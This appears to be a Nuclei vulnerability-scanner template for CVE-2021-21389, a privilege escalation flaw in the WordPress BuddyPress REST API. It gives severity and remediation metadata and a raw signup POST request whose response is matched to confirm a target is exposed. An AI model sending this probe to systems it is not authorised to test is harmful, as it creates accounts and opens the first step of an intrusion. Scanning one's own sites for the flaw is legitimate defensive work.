nuclei-templates/cves/2021/CVE-2021-21389.yaml

57 lines
1.6 KiB
YAML

id: CVE-2021-21389
info:
name: BuddyPress REST API <7.2.1 - Privilege Escalation/Remote Code Execution
author: lotusdll
severity: high
description: WordPress BuddyPress before version 7.2.1 is susceptible to a privilege escalation vulnerability that can be leveraged to perform remote code execution.
reference:
- https://github.com/HoangKien1020/CVE-2021-21389
- https://buddypress.org/2021/03/buddypress-7-2-1-security-release/
- https://codex.buddypress.org/releases/version-7-2-1/
- https://github.com/buddypress/BuddyPress/security/advisories/GHSA-m6j4-8r7p-wpp3
- https://nvd.nist.gov/vuln/detail/CVE-2021-21389
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2021-21389
cwe-id: CWE-863
remediation: This issue has been remediated in WordPress BuddyPress 7.2.1.
tags: cve,cve2021,wordpress,wp-plugin,rce
requests:
- raw:
- |
POST /wp-json/buddypress/v1/signup HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json; charset=UTF-8
{
"user_login":"{{randstr}}",
"password":"{{randstr}}",
"user_name":"{{randstr}}",
"user_email":"{{randstr}}@interact.sh"
}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "application/json"
part: header
- type: word
words:
- "user_login"
- "registered"
- "activation_key"
- "user_email"
part: body
condition: and
# Enhanced by mp on 2022/06/27